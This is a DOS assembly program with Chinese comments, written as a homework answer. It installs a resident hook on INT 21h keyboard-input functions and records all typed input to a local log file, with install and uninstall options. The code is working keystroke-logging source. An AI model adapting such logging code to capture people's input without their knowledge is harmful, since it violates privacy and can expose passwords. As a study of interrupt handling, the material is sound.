;   This program is free software: you can redistribute it and/or modify
;   it under the terms of the GNU General Public License as published by
;   the Free Software Foundation, either version 3 of the License, or
;   (at your option) any later version.
;
;   This program is distributed in the hope that it will be useful,
;   but WITHOUT ANY WARRANTY; without even the implied warranty of
;   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
;   GNU General Public License for more details.
;
;   You should have received a copy of the GNU General Public License
;   along with this program.  If not, see <http://www.gnu.org/licenses/>.
;
;程序名称:int21k.asm
;功能:驻留或载入程式，拦载int21输入函数01h,07h,0Ah,3Fh，把所有输入写入记录档
;环境:16BIT DOS实模式(windows/dos或dosbox)
;编译器:MASM 5.1-6X (这个是com格式，masm5.x须用EXE2BIN int21k.EXE int21k.COM，Masm6.x须加入：ml /ＡＴ参数
;用法:看说明
;返回值:没有
;破坏寄存器:不适用
;
;原题目：
;Q.
;http://tieba.baidu.com/p/3865431344
;通过改变中断让每次进行int21输入中断时
;
;210楼
;http://tieba.baidu.com/p/3740277941?pn=7
;求问一个题：通过改变int21输入中断舍得每次进行这个中断的时候就会
;记录下输入的内容.
;
;解:
;若理解没错，是要求做一个驻留程式，然后监视int21的输入函数，
;若发现有输入，则把它们记录下来
;要搞清楚int21的输入有几多种,常用大约有４种
;01:字元输入有显示，返回al
;07:字元输入没有显示，返回al
;0A:字串输入,ds:dx指向字串缓冲
;3F: 读取标准输入stdin , ds:dx指向缓冲,bx=1(标准输入句柄)，cx=读入字数
;程式开始做一些初始化的工作，建立一个叫int21k.01的档，
;若成功则以后输入会记录在这个档上，若失败则再建立int21k.02，若再失败则03...
;程式常驻后会监视01,07,0A,3F四个函数，若是则
;先记录这个编号，若01,07则记录返回的al，若0Ａ则把输入字串整条抄下来
;若３Ｆ则把读入（即输入）字元全部记录，写进int21k.0?中
;
;使用方法：
;INT21   　　；常驻内存
;int21 filename ；载入并运行参数档
;移除方法:
;INT21 /U
;载入并运行的方式不须移除，因为不驻留
;
;若要看结果：
;TYPE int21k.0? <？视情况而定，通常是１>
;记绿的方式是：
;0A: abcddieiddei8e
;01: 6
;
;其中最前两个是函数编号，[:]后是输入值
;0A:或3F:后通常是一串字符，01或07后是一个字节
;
;执行int21完后，随便在dos键入一些垃圾即可
;注意，许多软件并不使用int21h输入函数，而直接用int16h，甚至int 09
;但题目没拦int16h的要求，也就不理了，也不会特意去写，因为
;int16h几乎统驭所有输入，记录超级庞大不算，也会影响其他程式运作！
;
;---关于int 60h的说明---
;DOS一般预留INT 60H-INT69H(好像是79H,不太记得了)作为使用者中断，换言之，
;程式师可以设计自己的中断，比如要利用INT60H, 就先写一段中断代码，然后更改中断向量表，
;令表中的INT60h偏移指向自己的中断，再在程式中
;呼叫INT60H即可
;读写中断向量可以用INT21H /35H和25H
;驻留程式，不管静态也好，动态也好，必须要拦截中断，否则无法运作自己的代码，
;比如要写一个小时钟（静态），就拦截INT1CH或者INT8，比如要写一个驻留计算机（动态），
;就要拦截INT9h,时时刻刻监视有否自己的热键,随时准备弹出，
;无论怎样，程式都不能独占中断，拦截INT9h，若不是自己的热键，就要运行原来的中断，
;让当前程式正常运作，一般的作法是
;Pushf     ;保存标志
;Call dword ptr old_int9ip　;呼叫原int9中断
;返回后，再运行自己的代码
;这种方法在绝大部份中断可行，但int21h是例外，换言之，不能
;Pushf     ;保存标志
;Call dword ptr old_int21ip　;呼叫原int21中断
;上面的写法会有不可预期的错误，但可以这样写
;Pushf     ;保存标志
;jmp dword ptr old_int21ip　;直接跳到原int21中断
;问题来了，跳去int21h，怎么知道返回值是多少，尤其我们要读取输入嘛！
;于是有人想出int60h替代原int21h的方法，我也忘了是不是我想出来的，
;总之是，先把int21ｈ的中断地址，写入int60h处（中断向量表）
;然后在代码中，凡有int21h的地方改int60h
;然而仍有问题，int60h是否已被占用？
;Int60h被占用，int61H没吧或者int62H，int63H….于是有了（set_init ）子程序的做法，这处就不多话了
;
;注意:这只是一个范例程式，具备最起码的功能，没有太花巧的技术，
;若你需要其他功能或加入或删减任何代码，请随便，但不能要求作者为你订制特定的功能或
;根据功课要求而改变这个子程序改变那个子程序，若是代码错误或优化代码的意见，
;则欢迎提出:)
;
;因为没多少空闲，程序只加了一些简单解释。
;
;代码及程式
;http://pan.baidu.com/s/1dDdcoCx  (新)
;http://pan.baidu.com/s/1c0ttptu
;--------------------------------------------------------------
.286
ask_ax          equ     0AA01h ;查询驻留标志
exist_ax        equ     0AAFFh ;回复已驻留标志
;--------------------------------------------------------------
                cseg    segment
                assume  cs:cseg,ds:nothing,es:nothing
                org     100h    ;com模式,方便载入程式和驻留
begin:          jmp     INIT    ;跳去INIT
old21_off       dw      0               ;旧int21进入点
old21_seg       dw      0               ;
file_name       db      'Int21k.'       ;档名.0?
file_num        db      0,0,0,0         ;3 zero + AsciiZ
oldintAdd       dw      0               ;int 60h旧地址
Ah_name         db      '01','07','0A','3F'  ;ah函数字符 
Ah_name_no      db	0     ;ah函数偏移量 0,1,2,3对应楼上的表
handle		dw	0ffffh ;句柄
MySS		dw	0      ;被呼叫前ss
MySP		dw	0      ;被呼叫前sp
mySS_seg	dw	100h dup (0) ;我的栈
mySS_end	db	0       ;栈顶
return_AX	dw	0      ;以下4个是呼叫原来int21的返回暂存器
return_DX       dw      0
return_DS       dw      0
return_Bx       dw      0
work_flag	db	0      ;工作中标志
write_buf       db      300 dup (0) ;  0A输入缓冲的暂存区
;------------------------------------------------------------------------------
;我们的新INT21H进入点
NEW_INT21:      STI  ;允许中断
                cmp     ax,ask_ax  ;是否询问已驻留
                jnz     nn10  ; 不是
                mov     ax,exist_ax ;回复已驻留,以下的回存资料是准备作移除用
                mov     bx,cs           ;当前程式段
                mov     si,old21_off    ;旧int21H偏移
                mov     di,old21_seg    ;旧int21H段
                mov     cx,oldintAdd    ;int 60 ? 旧int60地址
                retf    0002h   ;返回

nn10:           push    ax ;保存
                cmp     work_flag,0  ;是否工作中
                jz      nn15  ;不是,继续
nn12:           jmp     nnx ;是工作中,走

nn15:           cmp     ah,0ch  ;ah函数是否och
		jnz	nn18 ;不是
		mov 	ah,al ;存ah,ah=0c 则al是对应的01,07,0A子函数,oc主要用来清除键盘缓冲
nn18:		mov	Ah_name_no,0	;初始化函数偏移量=0 
		cmp 	ah,01  ;是否01子函数
		jz	nn20  ;是
		inc 	Ah_name_no	;1 函数偏移量=1 
		cmp 	ah,07  ;是否07子函数
		jz	nn20 ;是
		inc 	Ah_name_no	;2 函数偏移量=2 
		cmp 	ah,0Ah ;是否0A子函数
		jz	nn20 ;是
		inc 	Ah_name_no	;3 函数偏移量=2 
		cmp 	ah,3Fh ;是否0A子函数
                jnz     nn12    ;都不是走
 
nn20:           pop     ax ;回存,准备呼叫原来INT 21H
		mov 	work_flag,1 ;设定工作中标志
                db      0cdh	;CD 60即INT 60H,详细请看最顶说明
intnum1         db      060h	
                ;       my program ;以下所有int21,都用int60h取代.
		; 	get Ah  ;呼叫原来int21h,返回
                jnc     nn25  ; cf=?  若0则正常,去nn25
                mov     work_flag,0 ;这里是cf=1,有错,走
                retf    0002h           ;返回

nn25:           mov     return_AX,ax  ;以下保留暂存器
                mov     return_DX,dx
                mov     return_BX,bx
                mov     ax,ss 
		mov	mySS,ax ;保存原来ss:sp
		mov	mySP,sp
		mov 	ax,cs ;取当前段
		cli ;禁中断
		mov	ss,ax  ;转栈
                mov     sp,offset mySS_end
		sti ;开中断
                pushf  ;以下是保存暂存器
                pusha
                cld
                push    es
                push    ds
                cmp     Ah_name_no,3 ;ah函数偏移量是否3
                jnz     nn40  ;不是去nn40
                cmp     bx,1 ; 是3则ah=3fh,bx是否1,即标准输入句柄
                jz      nn40 ;是
nn30:           jmp     nn90  ;不是,走

nn40:           mov     ax,ds  ;保存原ds
                mov     return_DS,ax
                mov     ax,cs ; cs和ds/es对齐
                mov     ds,ax           ;目前 CS
                mov     es,ax           ;目前 CS
                mov     ax,3d02h ;开档,读写模式
		mov	dx,offset file_name  ;档名
		db	0cdh    ;int60h,即 int 21h
IntNum2         db      060h	
                jc      nn30    ;nn90  ;失败,走
		mov	handle,ax ;成功,取得档案句柄
		mov	bx,handle
		mov	dx,0   ;设0
		mov	cx,0   ;设0
		mov 	ax,4200h ;移动指标到档头
		db	0cdh   ;int 21h
IntNum3         db      060h    
		mov	bx,handle  ;取句柄
		mov	dx,0  
		mov	cx,0
		mov 	ax,4202h   ;;移动指标到档尾
		db	0cdh   ;int 60h = int 21h
IntNum4         db      060h    
		xor	bx,bx  ;置0
		mov	bl,Ah_name_no  ;取得函数偏移量,即0,1,2,3,4
		shl	bx,1		;x 2  乘2
		add	bx,offset Ah_name ;加偏移
                mov     ax,cs:[bx]         ;最得对应函数的字符即文字的'01','07'等
		mov	di,offset write_buf ;指向暂存缓冲
		stosw  		;2bytes  ;存
		mov	al,':'  ;取[:]
		stosb		;1   存 [:]
		cmp	Ah_name_no,2  ;函数偏移量是否2
		jb	nn60  ;少于去nn60,即子函数是01和07的读字节,只须处理1个字节
		ja	nn50		;3fh  ;大于2,即3去nn5,3是子函数3fh
		;
		;	0Ah 这是读一串字符的0A函数
		;	ds:dx  = buffer  原DS:DX指向输入缓冲
                ;
                mov     ax,return_DS  ;取得原DS
                mov     ds,ax
                mov     si,return_DX  ;取得原DX->SI
                xor     cx,cx  ;置0
                mov     cl,[si+1];0  ;最实际输入字数
                jcxz    nn90  ;CX=0,即没有输入,走
                inc     si ;指向真正输入地址
                inc     si 
                push    cx  ;保存
                rep     movsb  ;搬到自己的缓冲
                pop     cx  ;取回
                add     cx,5    ;实际输入字数+5, 编号:(3)加后面加上的回车0D,0A(2)共5
                jmp     short nn70 ;跳去nn70准备写出

nn50:            ;3fh    ;read something , bx = 1 ,3FH函数到此
                push    cs  ;对齐CS DS
                pop     ds
                mov     dx,offset write_buf ; 自己的缓冲
                mov     cx,3 ;先写出3个Bytes,就是 [编号:]
                mov     ah,40h  ;写
                mov     bx,handle ;句柄
		db	0cdh  ;int 60h 即 int 21h
IntNum5         db      060h    
                mov     ax,return_DS  ;取原来ds
                mov     ds,ax   
                mov     DX,return_DX ;取原来dx
                mov     cx,return_AX ;取原来ax,因为是3fh,ax是读取的字数,即自标准输入(键盘)
                jcxz    nn80 ;cx=0,即没有输入走....                         ;读入多少字元
                mov     bx,handle ;取句柄
                mov     ah,40h  ;写
		db	0cdh    ;int 60h ,即int 21h, 写入读取的的全部输入字符
IntNum6         db      060h    
                mov     cx,2  ;剩下2个 ,回车 0dh0ah
                mov     di,offset write_buf  ; 自己的缓冲
                jmp     short nn70 ;跳去nn70写出回车
nn60:           mov     ax,return_AX ;到此,即子函数是01,07,取原来ax,即读入的单一字节
		stosb		;1 存入1字节到自己的缓冲
		mov	cx,6  ;写入6个,即 [编号:] (3) + al值 + 回车(2) 共6个
nn70:
                mov     ax,0A0Dh ;回车
		stosw		;2 存2bytes
		mov 	dx,offset write_buf ; 自己的缓冲
		mov 	bx,handle  ;句柄
                push    cs  ;对齐cs ds
                pop     ds
                mov     ah,40h ;写cx个字节 
		db	0cdh ;int 60,即int 21h
IntNum7         db      060h    
nn80:           mov     bx,handle ;句柄
                mov     ah,3eh ;关档
		db	0cdh  ;int 60,即int 21h
IntNum8         db      060h    
nn90:           pop     ds  ;以下回存所有暂存器,回复环境
                pop     es
                popa
                popf
                cli
		mov 	ax,mySS ;转栈
		mov 	ss,ax		
		mov	sp,mySP
		sti
		mov 	ax,return_AX  ;回存AX		
                mov     work_flag,0  ;清除工作中标志,允许下次使用
                retf    0002h  ;返回
                ;
nnx:            pop     ax    ;回存
		db      0cdh  ;;int 60,即int 21h
IntNum9         db      060h    
                mov     work_flag,0 ;清除工作中标志,允许下次使用
                retf    0002h
;------------------------------------------------------------------------------
Program_start:  ;程式驻留尾,以上均被驻留,下面是程式初始化代码,驻留后即丢弃

installed_mess  db      10,13  ;以下是设定显示文字
                db      'Int 21H keystroke monitor 0.1 Installed$'
help_mess       db      'Int 21H keystroke monitor Version 0.1',10,13
                db      'usage : Int21 </?> </U> <filename>',10,13
                db      '      </?> Help screen',10,13
                db      '      </U> Remove TSR',10,13
                db      '<filename> Program name',10,13,'$'
not_install_str db      'keystroke monitor not Install',10,13,'$'
release_msg     db      'keystroke monitor Removed !',10,13,'$'
cannot_remove   db      'keystroke monitor Uninstall failed',10,13,'$'
already_install db      'keystroke monitor already installed',10,13,'$'
run_ok_str      db      'Run program ok',10,13,'$'
run_err_str     db      'Run program fail!',10,13,'$'
input_flag      db      0   ;使用者要求标志
keep_ss         dw      0   ;旧ss
keep_sp         dw      0   ;旧sp
pcb             dw      0,12 dup (0) ;pcb用于载入并运行程式用
;---------- 以下是程式开始 ------------
init:           mov     bx,offset sp_end  ;指向程式尾
		mov	sp,bx ;修改栈顶
		mov	cl,4   
		shr	bx,cl  ;除16,即由psp头到程式尾的总长/16,得多少段,一段16bytes
		inc	bx  ;调整
		mov	ah,4ah ;4ah函数,修改当前程式的可用内存到bx段
		int	21H
                call    test_input ;检查输入
                cmp     input_flag,0 ;有没有参数
                jz      j60  ;没有
                ;       remove,check install ? 
                cmp     input_flag,-1 ;参数是否档案名,并可开启 ?
                jz      j60 ;有,去j60, 即 int21 filename
                mov     ax,ask_ax  ;到此,即已输入/u 参数,要求移除,查询是否已驻留
                int     21h  
                cmp     ax,exist_ax ;是否驻留标志
                jz      j50  ;是,去j50准备移除
                mov     dx,offset not_install_str  ;未驻留
                jmp     short j55  ;走

j50:            ; do uninstall 准备移除
                mov     old21_off,si  ;询问驻留时,若有驻留,回存原来的int21h偏移
                mov     old21_seg,di ;回存原来的int21h段
                mov     oldintAdd,cx    ;回存原来int 60 ?
                mov     es,bx   ;回存驻留的程式段,因为是com,也是psp段
                mov     ax,es:[002ch]  ;psp:2c的偏移是环境区地址 
                mov     es,ax  ;取得环境区段地址
                mov     ah,49h ;释放环境区段内存
                int     21h
                mov     es,bx  ;驻留的程式区段
                mov     ah,49h ;释放程式区段
                int     21h
j52:
                call    reset_init ;重置原来的int21h和int 60h
                mov     dx,offset release_msg ;印出已释放文字

j55:            mov     ah,9
                int     21h
j56:            mov     ah,4ch  ;返回dos
                int     21h

j60:            ;do install
                mov     ax,ask_ax ;询问是否已驻留
                int     21h
                cmp     ax,exist_ax  ;是否驻留标志
                mov     dx,offset already_install ;印出已驻留文字
                jz      j55     ;quit ;是,走
                call    open_file ;开启记录档
                mov     dx,offset not_install_str ;印出不能安装驻留文字
                jc      j55  ;失败,走
                call    set_init ;设定int21h/int60h
                cmp     input_flag,-1  ;是否要求运行档案
                jnz     j90 ;不是,即驻留内存,到j90
                mov     si,82h ;指向档名
                push    cs  ;cs对齐 ds
                pop     ds
                mov     word ptr ds:[si-2],0d00h  ;清除自己参数
                call    do_program   ;运行档案
                mov     dx,offset run_err_str ;显示运行失败文字
                jc      short j80 ;有错
                mov     dx,offset run_ok_str ;显示运行正常文字
j80:            mov     ah,9  
                int     21h
                jmp     short j52 ;到j52 重设原来中断,离开
j90:            mov     ah,9
                mov     dx,offset installed_mess ;显示安装成功文字
                int     21h
                mov     dx,offset program_start ;指向驻留程式尾
                int     27h ;驻留;之后返回dos,监视int21h的输入记录并写入
                            ;直到/u释放为止,可用type int21k.01观看记录
;------------------------------------------------------------------------------
;设定中断子程序
set_init:       push    es  
                mov     ax,3521h  ;读取int21h中断地址
                int     21h
                mov     old21_seg,es ;存
                mov     old21_off,bx
                mov     cl,0   ;初始值
                mov     bx,60h shl 2  ; x 4,每个中断地址 4 bytes, x 4即指向int 60h的地址
                xor     ax,ax  ;0
                mov     es,ax  ;设es = 0
ss20:           cmp     word ptr es:[bx],0   ;这个地址是否0,0即表示未占用
                jnz     ss25
                cmp     word ptr es:[bx+2],0
                jz      ss30  ;若4个字节都是0,表示可用
ss25:           add     bx,4 ;否则加4,指向下一个地址
                inc     cl  ;加1
                jmp     short ss20  ;回去再查
                ;
ss30:           mov     oldintAdd,bx  ; bx=取得的地址,可能是int60h,int61h.....第一个可用就用
                mov     ax,old21_off  ;把int21h偏移
                mov     es:[bx],ax    ;存入int 60或61,62...
                mov     ax,old21_seg  ;把int21h段地址
                mov     es:[bx+2],ax  ;存入int 60或61,62...
                add     cl,60h        ;cl+60,可能是60,61,62.....
                mov     intnum1,cl    ;把这个值,存在驻留的代码区,即可能int60或int61或.....
                mov     intnum2,cl
                mov     intnum3,cl
                mov     intnum4,cl
                mov     intnum5,cl
                mov     intnum6,cl
                mov     intnum7,cl
                mov     intnum8,cl
                mov     intnum9,cl
                mov     ax,2521h    ;设定新的 int21h中断
                mov     dx,offset new_int21
                push    cs  ;cs 对齐ds
                pop     ds
                int     21h
                pop     es
                ret
;------------------------------------------------------------------------------
;重置中断子程序
reset_init:     push    ds
                mov     ds,old21_seg ;旧int21h中断
                mov     dx,old21_off
                mov     ax,2521h
                int     21h
                xor     ax,ax
                mov     ds,ax
                mov     bx,oldintAdd ;原来的int60或int61或......的地址
                mov     ds:[bx],ax   ;置0
                mov     ds:[bx+2],ax
                pop     ds
                ret
;------------------------------------------------------------------------------
;检查参数
test_input:     mov     ax,cs 
                mov     ds,ax
                mov     es,ax
                mov     si,81h ;指向参数起点
                mov     cl,[si-1] ;取参数个数
                xor     ch,ch
                mov     bx,cx
                or      cx,cx
                jz      ttx    ;没有参数,走
                ;
tt10:           lodsb
                cmp     al,0dh   ;回车,走
                jz      ttxx     ;finish
                cmp     al,'/'   ;是否 /
                jnz     tt20
                mov     al,[si]
                cmp     al,'?'  ;是否/?
                jnz     tt12
                mov     dx,offset help_mess  ;印出说明
                mov     ah,9
                int     21h
tt11:
                mov     ax,4c00h  ;回dos
                int     21h
tt12:           and     al,5fh   ;/之后的字节转大写
                cmp     al,'U'   ;是否U
                jnz     tt20     ;不是
                mov     input_flag,1 ;是U设定移除标志
                jmp     ttx
tt20:           loop    tt10   ;下一字元
                jmp     short ttxx
ttx:            ret

ttxx:           mov     si,82h  ;找不到有用参数,以下是检查是否有档名
                mov     byte ptr [si+bx-1],0  ;参数尾回车置0
                mov     dx,si   ;参数起点
                mov     ax,3d00h ;开启档案
                mov     cx,00ffh ;任何属性
                int     21h
                jc      ttx      ;没有,走
                mov     bx,ax    ;成功,找到档案
                mov     ah,3eh   ;关档
                int     21h
                mov     input_flag,-1 ;设定运行该档标志
                ret
;------------------------------------------------------------------------------
;开启记录档
open_file:      push    cs
                pop     ds
                mov     bp,1  ;初始值
open_10:        mov     ax,bp
                add     al,0  ;BCD加
                aam  ;bcd调整 
                or      ax,3030h ;转ascii
                xchg    al,ah  ;交换
                mov     word ptr file_num,ax  ;存入后缀..即INT21K,01 的1,若失败,则02,03.....
                mov     dx,offset file_name ;指向 ('INT21K.01',0 )
                mov     ax,3d00h  ;开启
                mov     cx,00ffh  ;所有属性
                int     21h 
                jnc     open_30  ;成功,功成身退,保存这个INT21K.0?的状况给驻留部份直接开启
                mov     cx,0h    ;找不到,不要紧,CX=0,一般属性
                mov     ax,3c00h ;建立
                int     21h 
                jnc     open_30  ;成功,走
                inc     bp       ;都失败,加1,回去再试.即变INT21K.02,或03,直到
                cmp     bp,99    ;99
                jbe     open_10  ;少于99回去再试
                stc     ;全都失败,万念俱灰,离开
                ret
open_30:        mov     bx,ax   ;得句病,噢是句柄,存bx
                mov     ah,3eh  ;关档
                int     21h
                clc
                ret
;------------------------------------------------------------------------------
;载入并运行子程序
;si= offset of program name
do_program:     push    cs
                pop     es
                mov     pcb[02h],80h  ;准备PCB ;80H是参数区
                mov     pcb[04h],es   ;PSP参数区的段
                mov     pcb[06h],5ch  ;FCB
                mov     pcb[08h],es
                mov     pcb[0ah],6ch  ;FCB
                mov     pcb[0ch],es
                mov     bx,offset pcb ;PCB地址
                cli
                mov     keep_ss,ss ;保存当下SS
                mov     keep_sp,sp ;保存SP
                sti
                mov     dx,si   ;运行档名
                mov     ax,4b00h ;载入并运行
                int     21h
                cli   ;由子程式返回
                mov     ss,keep_ss ;回存SS
                mov     sp,keep_sp ;回存SP
                sti
                push    cs
                pop     ds
                ret
;------------------------------------------------------------------------------
sp_end          equ     $ + 100h
cseg            ends
                END   begin                   ; end program